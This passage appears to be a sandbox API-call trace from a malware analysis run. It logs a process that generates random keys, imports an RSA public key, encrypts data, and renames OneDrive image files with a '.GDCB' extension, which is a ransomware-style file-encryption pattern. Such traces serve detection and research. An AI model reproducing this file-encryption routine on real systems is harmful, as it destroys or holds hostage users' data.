pdwDataLen=0x285d11c*=0x100) returned 1 [0182.009] GetLastError () returned 0x0 [0182.009] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.009] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.012] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ce08) returned 1 [0182.012] CryptGetKeyParam (in: hKey=0x4f2ce08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.012] CryptEncrypt (in: hKey=0x4f2ce08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5690000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5690000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.012] GetLastError () returned 0x0 [0182.012] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.012] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_selected.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_selected.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.014] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.017] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.017] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.017] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.017] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.018] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.018] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.018] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.019] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0182.021] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d0c8) returned 1 [0182.021] CryptGetKeyParam (in: hKey=0x4f2d0c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.021] CryptEncrypt (in: hKey=0x4f2d0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x56a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.021] GetLastError () returned 0x0 [0182.021] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.021] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.023] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cdc8) returned 1 [0182.023] CryptGetKeyParam (in: hKey=0x4f2cdc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.023] CryptEncrypt (in: hKey=0x4f2cdc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x56b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.023] GetLastError () returned 0x0 [0182.023] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.025] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x56c0000 [0182.026] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x56d0000 [0182.027] ReadFile (in: hFile=0x518, lpBuffer=0x56d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x56d0000*, lpNumberOfBytesRead=0x285d160*=0x127, lpOverlapped=0x0) returned 1 [0182.036] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x57e0000 [0182.062] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg.gdcb")) returned 0 [0182.065] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.066] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.067] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.067] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.067] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.067] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.068] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.069] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.071] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ce88) returned 1 [0182.071] CryptGetKeyParam (in: hKey=0x4f2ce88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.071] CryptEncrypt (in: hKey=0x4f2ce88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x56a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.071] GetLastError () returned 0x0 [0182.071] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.071] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.073] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cec8) returned 1 [0182.073] CryptGetKeyParam (in: hKey=0x4f2cec8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.073] CryptEncrypt (in: hKey=0x4f2cec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x56b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.073] GetLastError () returned 0x0 [0182.073] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.073] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevronUp.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevronup.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.076] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.078] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.078] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.080] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.080] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.080] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.082] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2cf48) returned 1 [0182.082] CryptGetKeyParam (in: hKey=0x4f2cf48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.082] CryptEncrypt (in: hKey=0x4f2cf48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x56c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.082] GetLastError () returned 0x0 [0182.082] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.082] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.084] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d108) returned 1 [0182.084] CryptGetKeyParam (in: hKey=0x4f2d108, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.084] CryptEncrypt (in: hKey=0x4f2d108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x56d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.084] GetLastError () returned 0x0 [0182.085] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.085] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.086] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x56e0000 [0182.088] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x56f0000 [0182.089] ReadFile (in: hFile=0x518, lpBuffer=0x56f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x56f0000*, lpNumberOfBytesRead=0x285d160*=0x6c7, lpOverlapped=0x0) returned 1 [0182.107] VirtualAlloc (lpAddress=0x0, dwSize=0x6d0, flAllocationType=0x3000, flProtect=0x4) returned 0x5800000 [0182.111] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg.gdcb")) returned 0 [0182.113] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.115] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.116] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.117] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.117] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.117] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.118] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.120] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d208) returned 1 [0182.120] CryptGetKeyParam (in: hKey=0x4f2d208, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.120] CryptEncrypt (in: hKey=0x4f2d208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x56c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.120] GetLastError () returned 0x0 [0182.120] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.120] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.122] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d348) returned 1 [0182.122] CryptGetKeyParam (in: hKey=0x4f2d348, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.122] CryptEncrypt (in: hKey=0x4f2d348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x56d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.122] GetLastError () returned 0x0 [0182.122] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.122] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\done_graphic.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\done_graphic.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.122] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0182.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.125] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.125] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.125] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0182.126] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.126] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.126] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.127] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.129] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d148) returned 1 [0182.129] CryptGetKeyParam (in: hKey=0x4f2d148, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.129] CryptEncrypt (in: hKey=0x4f2d148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x56e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.129] GetLastError () returned 0x0 [0182.129] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.129] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.131] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d188) returned 1 [0182.131] CryptGetKeyParam (in: hKey=0x4f2d188, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.131] CryptEncrypt (in: hKey=0x4f2d188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x56f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x56f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.131] GetLastError () returned 0x0 [0182.131] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.131] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\erroricon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.133] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.135] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.135] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.135] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.135] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.137] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.137] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.138] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.140] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d1c8) returned 1 [0182.140] CryptGetKeyParam (in: hKey=0x4f2d1c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.140] CryptEncrypt (in: hKey=0x4f2d1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5700000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5700000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.140] GetLastError () returned 0x0 [0182.140] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.140] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.142] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2d248) returned 1 [0182.142] CryptGetKeyParam (in: hKey=0x4f2d248, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.142] CryptEncrypt (in: hKey=0x4f2d248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5710000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5710000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.142] GetLastError () returned 0x0 [0182.142] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.142] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg"), dwDesiredAccess=0xc0000000, 